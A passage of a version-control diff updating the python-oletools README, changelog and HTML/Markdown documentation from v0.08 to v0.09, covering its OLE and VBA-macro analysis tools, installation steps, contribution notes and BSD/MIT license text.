  40 + detect suspicious keywords and IOCs in VBA macros, can now scan
  41 + several files and open password-protected zip archives, added a
  42 + Python API, upgraded OleFileIO\_PL to olefile v0.41
  43 +- 2014-08-28 v0.06: added
  44 + `olevba <https://bitbucket.org/decalage/oletools/wiki/olevba>`__, a
  45 + new tool to extract VBA Macro source code from MS Office documents
  46 + (97-2003 and 2007+). Improved
  47 + `documentation <https://bitbucket.org/decalage/oletools/wiki>`__
  48 +- 2013-07-24 v0.05: added new tools
  49 + `olemeta <https://bitbucket.org/decalage/oletools/wiki/olemeta>`__
  50 + and
  51 + `oletimes <https://bitbucket.org/decalage/oletools/wiki/oletimes>`__
  52 +- 2013-04-18 v0.04: fixed bug in rtfobj, added documentation for
  53 + `rtfobj <https://bitbucket.org/decalage/oletools/wiki/rtfobj>`__
  54 +- 2012-11-09 v0.03: Improved
  55 + `pyxswf <https://bitbucket.org/decalage/oletools/wiki/pyxswf>`__ to
  56 + extract Flash objects from RTF
  57 +- 2012-10-29 v0.02: Added
  58 + `oleid <https://bitbucket.org/decalage/oletools/wiki/oleid>`__
  59 +- 2012-10-09 v0.01: Initial version of
  60 + `olebrowse <https://bitbucket.org/decalage/oletools/wiki/olebrowse>`__
  61 + and pyxswf
  62 +- see changelog in source code for more info.
  63 +
  64 +Tools in python-oletools:
  65 +-------------------------
  66 +
  67 +- `olebrowse <https://bitbucket.org/decalage/oletools/wiki/olebrowse>`__:
  68 + A simple GUI to browse OLE files (e.g. MS Word, Excel, Powerpoint
  69 + documents), to view and extract individual data streams.
  70 +- `oleid <https://bitbucket.org/decalage/oletools/wiki/oleid>`__: a
  71 + tool to analyze OLE files to detect specific characteristics usually
  72 + found in malicious files.
  73 +- `olemeta <https://bitbucket.org/decalage/oletools/wiki/olemeta>`__: a
  74 + tool to extract all standard properties (metadata) from OLE files.
  75 +- `oletimes <https://bitbucket.org/decalage/oletools/wiki/oletimes>`__:
  76 + a tool to extract creation and modification timestamps of all streams
  77 + and storages.
  78 +- `olevba <https://bitbucket.org/decalage/oletools/wiki/olevba>`__: a
  79 + tool to extract and analyze VBA Macro source code from MS Office
  80 + documents (OLE and OpenXML).
  81 +- `pyxswf <https://bitbucket.org/decalage/oletools/wiki/pyxswf>`__: a
  82 + tool to detect, extract and analyze Flash objects (SWF) that may be
  83 + embedded in files such as MS Office documents (e.g. Word, Excel) and
  84 + RTF, which is especially useful for malware analysis.
  85 +- `rtfobj <https://bitbucket.org/decalage/oletools/wiki/rtfobj>`__: a
  86 + tool and python module to extract embedded objects from RTF files.
  87 +- and a few others (coming soon)
  88 +
  89 +Download and Install:
  90 +---------------------
  91 +
  92 +To use python-oletools from the command line as analysis tools, you may
  93 +simply `download the zip
  94 +archive <https://bitbucket.org/decalage/oletools/downloads>`__ and
  95 +extract the files in the directory of your choice.
  96 +
  97 +To get the latest development version, click on "Download repository" on
  98 +the `downloads
  99 +page <https://bitbucket.org/decalage/oletools/downloads>`__, or use
  100 +mercurial to clone the repository.
  101 +
  102 +If you plan to use python-oletools with other Python applications or
  103 +your own scripts, then the simplest solution is to use "**pip install
  104 +oletools**\ " or "**easy\_install oletools**\ " to download and install
  105 +in one go. Otherwise you may download/extract the zip archive and run
  106 +"**setup.py install**\ ".
  107 +
  108 +Documentation:
  109 +--------------
  110 +
  111 +The latest version of the documentation can be found
  112 +`online <https://bitbucket.org/decalage/oletools/wiki>`__, otherwise a
  113 +copy is provided in the doc subfolder of the package.
  114 +
  115 +How to Suggest Improvements, Report Issues or Contribute:
  116 +---------------------------------------------------------
  117 +
  118 +This is a personal open-source project, developed on my spare time. Any
  119 +contribution, suggestion, feedback or bug report is welcome.
  120 +
  121 +To suggest improvements, report a bug or any issue, please use the
  122 +`issue reporting
  123 +page <https://bitbucket.org/decalage/olefileio_pl/issues?status=new&status=open>`__,
  124 +providing all the information and files to reproduce the problem.
  125 +
  126 +You may also `contact the author <http://decalage.info/contact>`__
  127 +directly to provide feedback.
  128 +
  129 +The code is available in `a Mercurial repository on
  130 +Bitbucket <https://bitbucket.org/decalage/oletools>`__. You may use it
  131 +to submit enhancements using forks and pull requests.
  132 +
  133 +License
  134 +-------
  135 +
  136 +This license applies to the python-oletools package, apart from the
  137 +thirdparty folder which contains third-party files published with their
  138 +own license.
  139 +
  140 +The python-oletools package is copyright (c) 2012-2015 Philippe Lagadec
  141 +(http://www.decalage.info)
  142 +
  143 +All rights reserved.
  144 +
  145 +Redistribution and use in source and binary forms, with or without
  146 +modification, are permitted provided that the following conditions are
  147 +met:
  148 +
  149 +- Redistributions of source code must retain the above copyright
  150 + notice, this list of conditions and the following disclaimer.
  151 +- Redistributions in binary form must reproduce the above copyright
  152 + notice, this list of conditions and the following disclaimer in the
  153 + documentation and/or other materials provided with the distribution.
  154 +
  155 +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS
  156 +IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
  157 +TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
  158 +PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
  159 +HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
  160 +SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
  161 +TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
  162 +PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
  163 +LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
  164 +NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
  165 +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
  166 +
  167 +--------------
  168 +
  169 +olevba contains modified source code from the officeparser project,
  170 +published under the following MIT License (MIT):
  171 +
  172 +officeparser is copyright (c) 2014 John William Davison
  173 +
  174 +Permission is hereby granted, free of charge, to any person obtaining a
  175 +copy of this software and associated documentation files (the
  176 +"Software"), to deal in the Software without restriction, including
  177 +without limitation the rights to use, copy, modify, merge, publish,
  178 +distribute, sublicense, and/or sell copies of the Software, and to
  179 +permit persons to whom the Software is furnished to do so, subject to
  180 +the following conditions:
  181 +
  182 +The above copyright notice and this permission notice shall be included
  183 +in all copies or substantial portions of the Software.
  184 +
  185 +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
  186 +OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
  187 +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
  188 +IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
  189 +CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
  190 +TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
  191 +SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
oletools/doc/Contribute.html
  View file @dc628fa
1 -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
2 -<html xmlns="http://www.w3.org/1999/xhtml">  
3 -<head>  
4 - <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  
5 - <meta http-equiv="Content-Style-Type" content="text/css" />  
6 - <meta name="generator" content="pandoc" />  
7 - <title></title>  
8 -</head>  
9 -<body>  
10 -<h1 id="how-to-suggest-improvements-report-issues-or-contribute">How to Suggest Improvements, Report Issues or Contribute</h1>  
11 -<p>This is a personal open-source project, developed on my spare time. Any contribution, suggestion, feedback or bug report is welcome.</p>  
12 -<p>To <strong>suggest improvements, report a bug or any issue</strong>, please use the <a href="https://bitbucket.org/decalage/oletools/issues?status=new&amp;status=open">issue reporting page</a>, providing all the information and files to reproduce the problem.</p>  
13 -<p>You may also <a href="http://decalage.info/contact">contact the author</a> directly to <strong>provide feedback</strong>.</p>  
14 -<p>The code is available in <a href="https://bitbucket.org/decalage/oletools">a Mercurial repository on Bitbucket</a>. You may use it to <strong>submit enhancements</strong> using forks and pull requests.</p>  
15 -<hr />  
16 -<h2 id="python-oletools-documentation">python-oletools documentation</h2>  
17 -<ul>  
18 -<li><a href="Home.html">Home</a></li>  
19 -<li><a href="License.html">License</a></li>  
20 -<li><a href="Install.html">Install</a></li>  
21 -<li><a href="Contribute.html">Contribute</a>, Suggest Improvements or Report Issues</li>  
22 -<li>Tools:  
23 -<ul>  
24 -<li><a href="olebrowse.html">olebrowse</a></li>  
25 -<li><a href="oleid.html">oleid</a></li>  
26 -<li><a href="olemeta.html">olemeta</a></li>  
27 -<li><a href="oletimes.html">oletimes</a></li>  
28 -<li><a href="olevba.html">olevba</a></li>  
29 -<li><a href="pyxswf.html">pyxswf</a></li>  
30 -<li><a href="rtfobj.html">rtfobj</a></li>  
31 -</ul></li>  
32 -</ul>  
33 -</body>  
34 -</html> 1 +<p>How to Suggest Improvements, Report Issues or Contribute</p>
  2 +<p>========================================================</p>
  3 +<p>This is a personal open-source project, developed on my spare time. Any contribution, suggestion, feedback or bug report is welcome.</p>
  4 +<p>To <strong>suggest improvements, report a bug or any issue</strong>, please use the <a href="https://bitbucket.org/decalage/oletools/issues?status=new&amp;status=open">issue reporting page</a>,</p>
  5 +<p>providing all the information and files to reproduce the problem.</p>
  6 +<p>You may also <a href="http://decalage.info/contact">contact the author</a> directly to <strong>provide feedback</strong>.</p>
  7 +<p>The code is available in <a href="https://bitbucket.org/decalage/oletools">a Mercurial repository on Bitbucket</a>.</p>
  8 +<p>You may use it to <strong>submit enhancements</strong> using forks and pull requests.</p>
  9 +<hr />
  10 +<p>python-oletools documentation</p>
  11 +<hr />
  12 +<ul>
  13 +<li><p><a href="Home.html">Home</a></p></li>
  14 +<li><p><a href="License.html">License</a></p></li>
  15 +<li><p><a href="Install.html">Install</a></p></li>
  16 +<li><p><a href="Contribute.html">Contribute</a>, Suggest Improvements or Report Issues</p></li>
  17 +<li><p>Tools:</p>
  18 +<ul>
  19 +<li><p><a href="olebrowse.html">olebrowse</a></p></li>
  20 +<li><p><a href="oleid.html">oleid</a></p></li>
  21 +<li><p><a href="olemeta.html">olemeta</a></p></li>
  22 +<li><p><a href="oletimes.html">oletimes</a></p></li>
  23 +<li><p><a href="olevba.html">olevba</a></p></li>
  24 +<li><p><a href="pyxswf.html">pyxswf</a></p></li>
  25 +<li><p><a href="rtfobj.html">rtfobj</a></p></li>
  26 +</ul></li>
  27 +</ul>
oletools/doc/Home.html
  View file @dc628fa
1 -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
2 -<html xmlns="http://www.w3.org/1999/xhtml">  
3 -<head>  
4 - <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  
5 - <meta http-equiv="Content-Style-Type" content="text/css" />  
6 - <meta name="generator" content="pandoc" />  
7 - <title></title>  
8 -</head>  
9 -<body>  
10 -<h1 id="python-oletools-v0.08-documentation">python-oletools v0.08 documentation</h1>  
11 -<p>This is the home page of the documentation for python-oletools. The latest version can be found <a href="https://bitbucket.org/decalage/oletools/wiki">online</a>, otherwise a copy is provided in the doc subfolder of the package.</p>  
12 -<p><a href="http://www.decalage.info/python/oletools">python-oletools</a> is a package of python tools to analyze <a href="http://en.wikipedia.org/wiki/Compound_File_Binary_Format">Microsoft OLE2 files</a> (also called Structured Storage, Compound File Binary Format or Compound Document File Format), such as Microsoft Office documents or Outlook messages, mainly for malware analysis, forensics and debugging. It is based on the <a href="http://www.decalage.info/olefile">olefile</a> parser. See <a href="http://www.decalage.info/python/oletools">http://www.decalage.info/python/oletools</a> for more info.</p>  
13 -<p><strong>Quick links:</strong> <a href="http://www.decalage.info/python/oletools">Home page</a> - <a href="https://bitbucket.org/decalage/oletools/wiki/Install">Download/Install</a> - <a href="https://bitbucket.org/decalage/oletools/wiki">Documentation</a> - <a href="https://bitbucket.org/decalage/oletools/issues?status=new&amp;status=open">Report Issues/Suggestions/Questions</a> - <a href="http://decalage.info/contact">Contact the author</a> - <a href="https://bitbucket.org/decalage/oletools">Repository</a> - <a href="https://twitter.com/decalage2">Updates on Twitter</a></p>  
14 -<p>Note: python-oletools is not related to OLETools published by BeCubed Software.</p>  
15 -<h2 id="tools-in-python-oletools">Tools in python-oletools:</h2>  
16 -<ul>  
17 -<li><strong><a href="olebrowse.html">olebrowse</a></strong>: A simple GUI to browse OLE files (e.g. MS Word, Excel, Powerpoint documents), to view and extract individual data streams.</li>  
18 -<li><strong><a href="oleid.html">oleid</a></strong>: a tool to analyze OLE files to detect specific characteristics usually found in malicious files.</li>  
19 -<li><strong><a href="olemeta.html">olemeta</a></strong>: a tool to extract all standard properties (metadata) from OLE files.</li>  
20 -<li><strong><a href="oletimes.html">oletimes</a></strong>: a tool to extract creation and modification timestamps of all streams and storages.</li>  
21 -<li><strong><a href="olevba.html">olevba</a></strong>: a tool to extract and analyze VBA Macro source code from MS Office documents (OLE and OpenXML).</li>  
22 -<li><strong><a href="pyxswf.html">pyxswf</a></strong>: a tool to detect, extract and analyze Flash objects (SWF) that may be embedded in files such as MS Office documents (e.g. Word, Excel) and RTF, which is especially useful for malware analysis.</li>  
23 -<li><strong><a href="rtfobj.html">rtfobj</a></strong>: a tool and python module to extract embedded objects from RTF files.</li>  
24 -<li>and a few others (coming soon)</li>  
25 -</ul>  
26 -<hr />  
27 -<h2 id="python-oletools-documentation">python-oletools documentation</h2>  
28 -<ul>  
29 -<li><a href="Home.html">Home</a></li>  
30 -<li><a href="License.html">License</a></li>  
31 -<li><a href="Install.html">Install</a></li>  
32 -<li><a href="Contribute.html">Contribute</a>, Suggest Improvements or Report Issues</li>  
33 -<li>Tools:  
34 -<ul>  
35 -<li><a href="olebrowse.html">olebrowse</a></li>  
36 -<li><a href="oleid.html">oleid</a></li>  
37 -<li><a href="olemeta.html">olemeta</a></li>  
38 -<li><a href="oletimes.html">oletimes</a></li>  
39 -<li><a href="olevba.html">olevba</a></li>  
40 -<li><a href="pyxswf.html">pyxswf</a></li>  
41 -<li><a href="rtfobj.html">rtfobj</a></li>  
42 -</ul></li>  
43 -</ul>  
44 -</body>  
45 -</html> 1 +<p>python-oletools v0.09 documentation</p>
  2 +<p>===================================</p>
  3 +<p>This is the home page of the documentation for python-oletools. The latest version can be found</p>
  4 +<p><a href="https://bitbucket.org/decalage/oletools/wiki">online</a>, otherwise a copy is provided in the doc subfolder of the package.</p>
  5 +<p><a href="http://www.decalage.info/python/oletools">python-oletools</a> is a package of python tools to analyze</p>
  6 +<p><a href="http://en.wikipedia.org/wiki/Compound_File_Binary_Format">Microsoft OLE2 files</a></p>
  7 +<p>(also called Structured Storage, Compound File Binary Format or Compound Document File Format),</p>
  8 +<p>such as Microsoft Office documents or Outlook messages, mainly for malware analysis, forensics and debugging.</p>
  9 +<p>It is based on the <a href="http://www.decalage.info/olefile">olefile</a> parser.</p>
  10 +<p>See <a href="http://www.decalage.info/python/oletools">http://www.decalage.info/python/oletools</a> for more info.</p>
  11 +<p><strong>Quick links:</strong> <a href="http://www.decalage.info/python/oletools">Home page</a> -</p>
  12 +<p><a href="https://bitbucket.org/decalage/oletools/wiki/Install">Download/Install</a> -</p>
  13 +<p><a href="https://bitbucket.org/decalage/oletools/wiki">Documentation</a> -</p>
  14 +<p><a href="https://bitbucket.org/decalage/oletools/issues?status=new&amp;status=open">Report Issues/Suggestions/Questions</a> -</p>
  15 +<p><a href="http://decalage.info/contact">Contact the author</a> -</p>
  16 +<p><a href="https://bitbucket.org/decalage/oletools">Repository</a> -</p>
  17 +<p><a href="https://twitter.com/decalage2">Updates on Twitter</a></p>
  18 +<p>Note: python-oletools is not related to OLETools published by BeCubed Software.</p>
  19 +<p>Tools in python-oletools:</p>
  20 +<hr />
  21 +<ul>
  22 +<li><strong><a href="olebrowse.html">olebrowse</a></strong>: A simple GUI to browse OLE files (e.g. MS Word, Excel, Powerpoint documents), to</li>
  23 +</ul>
  24 +<p>view and extract individual data streams.</p>
  25 +<ul>
  26 +<li><p><strong><a href="oleid.html">oleid</a></strong>: a tool to analyze OLE files to detect specific characteristics usually found in malicious files.</p></li>
  27 +<li><p><strong><a href="olemeta.html">olemeta</a></strong>: a tool to extract all standard properties (metadata) from OLE files.</p></li>
  28 +<li><p><strong><a href="oletimes.html">oletimes</a></strong>: a tool to extract creation and modification timestamps of all streams and storages.</p></li>
  29 +<li><p><strong><a href="olevba.html">olevba</a></strong>: a tool to extract and analyze VBA Macro source code from MS Office documents (OLE and OpenXML).</p></li>
  30 +<li><p><strong><a href="pyxswf.html">pyxswf</a></strong>: a tool to detect, extract and analyze Flash objects (SWF) that may</p></li>
  31 +</ul>
  32 +<p>be embedded in files such as MS Office documents (e.g. Word, Excel) and RTF,</p>
  33 +<p>which is especially useful for malware analysis.</p>
  34 +<ul>
  35 +<li><p><strong><a href="rtfobj.html">rtfobj</a></strong>: a tool and python module to extract embedded objects from RTF files.</p></li>
  36 +<li><p>and a few others (coming soon)</p></li>
  37 +</ul>
  38 +<hr />
  39 +<p>python-oletools documentation</p>
  40 +<hr />
  41 +<ul>
  42 +<li><p><a href="Home.html">Home</a></p></li>
  43 +<li><p><a href="License.html">License</a></p></li>
  44 +<li><p><a href="Install.html">Install</a></p></li>
  45 +<li><p><a href="Contribute.html">Contribute</a>, Suggest Improvements or Report Issues</p></li>
  46 +<li><p>Tools:</p>
  47 +<ul>
  48 +<li><p><a href="olebrowse.html">olebrowse</a></p></li>
  49 +<li><p><a href="oleid.html">oleid</a></p></li>
  50 +<li><p><a href="olemeta.html">olemeta</a></p></li>
  51 +<li><p><a href="oletimes.html">oletimes</a></p></li>
  52 +<li><p><a href="olevba.html">olevba</a></p></li>
  53 +<li><p><a href="pyxswf.html">pyxswf</a></p></li>
  54 +<li><p><a href="rtfobj.html">rtfobj</a></p></li>
  55 +</ul></li>
  56 +</ul>
oletools/doc/Home.md
  View file @dc628fa
1 -python-oletools v0.08 documentation 1 +python-oletools v0.09 documentation
2 =================================== 2 ===================================
3 3
4 This is the home page of the documentation for python-oletools. The latest version can be found 4 This is the home page of the documentation for python-oletools. The latest version can be found
oletools/doc/Install.html
  View file @dc628fa
1 -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
2 -<html xmlns="http://www.w3.org/1999/xhtml">  
3 -<head>  
4 - <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  
5 - <meta http-equiv="Content-Style-Type" content="text/css" />  
6 - <meta name="generator" content="pandoc" />  
7 - <title></title>  
8 -</head>  
9 -<body>  
10 -<h1 id="how-to-download-and-install-python-oletools">How to Download and Install python-oletools</h1>  
11 -<h2 id="pre-requisites">Pre-requisites</h2>  
12 -<p>For now, python-oletools require Python 2.x, if possible 2.6 or 2.7. They are not compatible with Python 3.x yet.</p>  
13 -<h2 id="to-use-oletools-as-command-line-tools">To use oletools as command-line tools</h2>  
14 -<p>To use python-oletools from the command line as analysis tools, you may simply <a href="https://bitbucket.org/decalage/oletools/downloads">download the zip archive</a> and extract the files in the directory of your choice. Pick the latest release version, or click on &quot;Download Repository&quot; to get the latest development version with the most recent features.</p>  
15 -<p>Another possibility is to use a Mercurial client (hg) to clone the repository in a folder. You can then update it easily in the future.</p>  
16 -<p>You may add the oletools directory to your PATH environment variable to access the tools from anywhere.</p>  
17 -<h2 id="for-python-applications">For python applications</h2>  
18 -<p>If you plan to use python-oletools with other Python applications or your own scripts, the simplest solution is to use <strong>&quot;pip install oletools&quot;</strong> or <strong>&quot;easy_install oletools&quot;</strong> to download and install the package in one go. Pip is included with Python since version 2.7.9.</p>  
19 -<p><strong>Important: to update oletools</strong> if it is already installed, you must run <strong>&quot;pip install -U oletools&quot;</strong>, otherwise pip will not update it.</p>  
20 -<p>Alternatively, you may download/extract the <a href="https://bitbucket.org/decalage/oletools/downloads">zip archive</a> in a temporary directory and run <strong>&quot;python setup.py install&quot;</strong>.</p>  
21 -<hr />  
22 -<h2 id="python-oletools-documentation">python-oletools documentation</h2>  
23 -<ul>  
24 -<li><a href="Home.html">Home</a></li>  
25 -<li><a href="License.html">License</a></li>  
26 -<li><a href="Install.html">Install</a></li>  
27 -<li><a href="Contribute.html">Contribute</a>, Suggest Improvements or Report Issues</li>  
28 -<li>Tools:  
29 -<ul>  
30 -<li><a href="olebrowse.html">olebrowse</a></li>  
31 -<li><a href="oleid.html">oleid</a></li>  
32 -<li><a href="olemeta.html">olemeta</a></li>  
33 -<li><a href="oletimes.html">oletimes</a></li>  
34 -<li><a href="olevba.html">olevba</a></li>  
35 -<li><a href="pyxswf.html">pyxswf</a></li>  
36 -<li><a href="rtfobj.html">rtfobj</a></li>  
37 -</ul></li>  
38 -</ul>  
39 -</body>  
40 -</html> 1 +<p>How to Download and Install python-oletools</p>
  2 +<p>===========================================</p>
  3 +<p>Pre-requisites</p>
  4 +<hr />
  5 +<p>For now, python-oletools require <strong>Python 2.x</strong>, if possible 2.7 or 2.6 to enable all features.</p>
  6 +<p>They are not compatible with Python 3.x yet. (Please contact me if that is a strong requirement)</p>
  7 +<p>To use oletools as command-line tools</p>
  8 +<hr />
  9 +<p>To use python-oletools from the command line as analysis tools, you may simply</p>
  10 +<p><a href="https://bitbucket.org/decalage/oletools/downloads">download the zip archive</a></p>
  11 +<p>and extract the files into the directory of your choice. Pick the latest release version, or click on</p>
  12 +<p><strong>&quot;Download Repository&quot;</strong> to get the latest development version with the most recent features.</p>
  13 +<p>Another possibility is to use a Mercurial client (hg) to clone the repository into a folder. You can then update it easily</p>
  14 +<p>in the future.</p>
  15 +<h3 id="windows">Windows</h3>
  16 +<p>You may add the oletools directory to your PATH environment variable to access the tools from anywhere.</p>
  17 +<h3 id="linux-mac-osx-unix">Linux, Mac OSX, Unix</h3>
  18 +<p>It is very convenient to create symbolic links to each tool in one of the bin directories in order to run them as shell</p>
  19 +<p>commands from anywhere. For example, here is how to create an executable link &quot;olevba&quot; in /usr/local/bin pointing to</p>
  20 +<p>olevba.py, assuming oletools was unzipped into /opt/oletools:</p>
  21 +<pre><code>chmod +x /opt/oletools/oletools/olevba.py
  22 +
  23 +ln -s /opt/oletools/oletools/olevba.py /usr/local/bin/olevba</code></pre>
  24 +<p>Then the olevba command can be used from any directory:</p>
  25 +<pre><code>user@remnux:~/MalwareZoo/VBA$ olevba dridex427.xls |less</code></pre>
  26 +<p>For python applications</p>
  27 +<hr />
  28 +<p>If you plan to use python-oletools with other Python applications or your own scripts, the simplest solution is to use</p>
  29 +<p><strong>&quot;pip install oletools&quot;</strong> or <strong>&quot;easy_install oletools&quot;</strong> to download and install the package in one go. Pip is included</p>
  30 +<p>with Python since version 2.7.9.</p>
  31 +<p><strong>Important: to update oletools</strong> if it is already installed, you must run <strong>&quot;pip install -U oletools&quot;</strong>, otherwise pip</p>
  32 +<p>will not update it.</p>
  33 +<p>Alternatively if you prefer the old school way, you may download the</p>
  34 +<p><a href="https://bitbucket.org/decalage/oletools/downloads">zip archive</a>, extract it into</p>
  35 +<p>a temporary directory and run <strong>&quot;python setup.py install&quot;</strong>.</p>
  36 +<hr />
  37 +<p>python-oletools documentation</p>
  38 +<hr />
  39 +<ul>
  40 +<li><p><a href="Home.html">Home</a></p></li>
  41 +<li><p><a href="License.html">License</a></p></li>
  42 +<li><p><a href="Install.html">Install</a></p></li>
  43 +<li><p><a href="Contribute.html">Contribute</a>, Suggest Improvements or Report Issues</p></li>
  44 +<li><p>Tools:</p>
  45 +<ul>
  46 +<li><p><a href="olebrowse.html">olebrowse</a></p></li>
  47 +<li><p><a href="oleid.html">oleid</a></p></li>
  48 +<li><p><a href="olemeta.html">olemeta</a></p></li>
  49 +<li><p><a href="oletimes.html">oletimes</a></p></li>
  50 +<li><p><a href="olevba.html">olevba</a></p></li>
  51 +<li><p><a href="pyxswf.html">pyxswf</a></p></li>
  52 +<li><p><a href="rtfobj.html">rtfobj</a></p></li>
  53 +</ul></li>
  54 +</ul>
oletools/doc/Install.md
  View file @dc628fa
1 -How to Download and Install python-oletools  
2 -===========================================  
3 -  
4 -Pre-requisites  
5 ---------------  
6 -  
7 -For now, python-oletools require Python 2.x, if possible 2.6 or 2.7. They are not compatible with Python 3.x yet.  
8 -  
9 -  
10 -To use oletools as command-line tools  
11 --------------------------------------  
12 -  
13 -To use python-oletools from the command line as analysis tools, you may simply  
14 -[download the zip archive](https://bitbucket.org/decalage/oletools/downloads)  
15 -and extract the files in the directory of your choice. Pick the latest release version, or click on "Download Repository"  
16 -to get the latest development version with the most recent features.  
17 -  
18 -Another possibility is to use a Mercurial client (hg) to clone the repository in a folder. You can then update it easily  
19 -in the future.  
20 -  
21 -You may add the oletools directory to your PATH environment variable to access the tools from anywhere.  
22 -  
23 -  
24 -For python applications  
25 ------------------------  
26 -  
27 -If you plan to use python-oletools with other Python applications or your own scripts, the simplest solution is to use  
28 -**"pip install oletools"** or **"easy_install oletools"** to download and install the package in one go. Pip is included  
29 -with Python since version 2.7.9.  
30 -  
31 -**Important: to update oletools** if it is already installed, you must run **"pip install -U oletools"**, otherwise pip  
32 -will not update it.  
33 -  
34 -Alternatively, you may download/extract the [zip archive](https://bitbucket.org/decalage/oletools/downloads) in a temporary  
35 -directory and run **"python setup.py install"**.  
36 -  
37 ---------------------------------------------------------------------------  
38 -  
39 -python-oletools documentation  
40 ------------------------------  
41 -  
42 -- [[Home]]  
43 -- [[License]]  
44 -- [[Install]]  
45 -- [[Contribute]], Suggest Improvements or Report Issues  
46 -- Tools:  
47 - - [[olebrowse]]  
48 - - [[oleid]]  
49 - - [[olemeta]]  
50 - - [[oletimes]]  
51 - - [[olevba]]  
52 - - [[pyxswf]] 1 +How to Download and Install python-oletools
  2 +===========================================
  3 +
  4 +Pre-requisites
  5 +--------------
  6 +
  7 +For now, python-oletools require **Python 2.x**, if possible 2.7 or 2.6 to enable all features.
  8 +
  9 +They are not compatible with Python 3.x yet. (Please contact me if that is a strong requirement)
  10 +
  11 +
  12 +To use oletools as command-line tools
  13 +-------------------------------------
  14 +
  15 +To use python-oletools from the command line as analysis tools, you may simply
  16 +[download the zip archive](https://bitbucket.org/decalage/oletools/downloads)
  17 +and extract the files into the directory of your choice. Pick the latest release version, or click on
  18 +**"Download Repository"** to get the latest development version with the most recent features.
  19 +
  20 +Another possibility is to use a Mercurial client (hg) to clone the repository into a folder. You can then update it easily
  21 +in the future.
  22 +
  23 +### Windows
  24 +
  25 +You may add the oletools directory to your PATH environment variable to access the tools from anywhere.
  26 +
  27 +### Linux, Mac OSX, Unix
  28 +
  29 +It is very convenient to create symbolic links to each tool in one of the bin directories in order to run them as shell
  30 +commands from anywhere. For example, here is how to create an executable link "olevba" in /usr/local/bin pointing to
  31 +olevba.py, assuming oletools was unzipped into /opt/oletools:
  32 +
  33 + :::text
  34 + chmod +x /opt/oletools/oletools/olevba.py
  35 + ln -s /opt/oletools/oletools/olevba.py /usr/local/bin/olevba
  36 +
  37 +Then the olevba command can be used from any directory:
  38 +
  39 + :::text
  40 + user@remnux:~/MalwareZoo/VBA$ olevba dridex427.xls |less
  41 +
  42 +
  43 +For python applications
  44 +-----------------------
  45 +
  46 +If you plan to use python-oletools with other Python applications or your own scripts, the simplest solution is to use
  47 +**"pip install oletools"** or **"easy_install oletools"** to download and install the package in one go. Pip is included
  48 +with Python since version 2.7.9.
  49 +
  50 +**Important: to update oletools** if it is already installed, you must run **"pip install -U oletools"**, otherwise pip
  51 +will not update it.
  52 +
  53 +Alternatively if you prefer the old school way, you may download the
  54 +[zip archive](https://bitbucket.org/decalage/oletools/downloads), extract it into
  55 +a temporary directory and run **"python setup.py install"**.
  56 +
  57 +--------------------------------------------------------------------------
  58 +
  59 +python-oletools documentation
  60 +-----------------------------
  61 +
  62 +- [[Home]]
  63 +- [[License]]
  64 +- [[Install]]
  65 +- [[Contribute]], Suggest Improvements or Report Issues
  66 +- Tools:
  67 + - [[olebrowse]]
  68 + - [[oleid]]
  69 + - [[olemeta]]
  70 + - [[oletimes]]
  71 + - [[olevba]]
  72 + - [[pyxswf]]
53 - [[rtfobj]] 73 - [[rtfobj]]
54 \ No newline at end of file 74 \ No newline at end of file
oletools/doc/License.html
  View file @dc628fa
1 -<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">  
2 -<html xmlns="http://www.w3.org/1999/xhtml">  
3 -<head>  
4 - <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />  
5 - <meta http-equiv="Content-Style-Type" content="text/css" />  
6 - <meta name="generator" content="pandoc" />  
7 - <title></title>  
8 -</head>  
9 -<body>  
10 -<h1 id="license-for-python-oletools">License for python-oletools</h1>  
11 -<p>This license applies to the <a href="http://www.decalage.info/python/oletools">python-oletools</a> package, apart from the thirdparty folder which contains third-party files published with their own license.</p>  
12 -<p>The python-oletools package is copyright (c) 2012-2015 Philippe Lagadec (<a href="http://www.decalage.info">http://www.decalage.info</a>)</p>  
13 -<p>All rights reserved.</p>  
14 -<p>Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:</p>  
15 -<ul>  
16 -<li>Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.</li>  
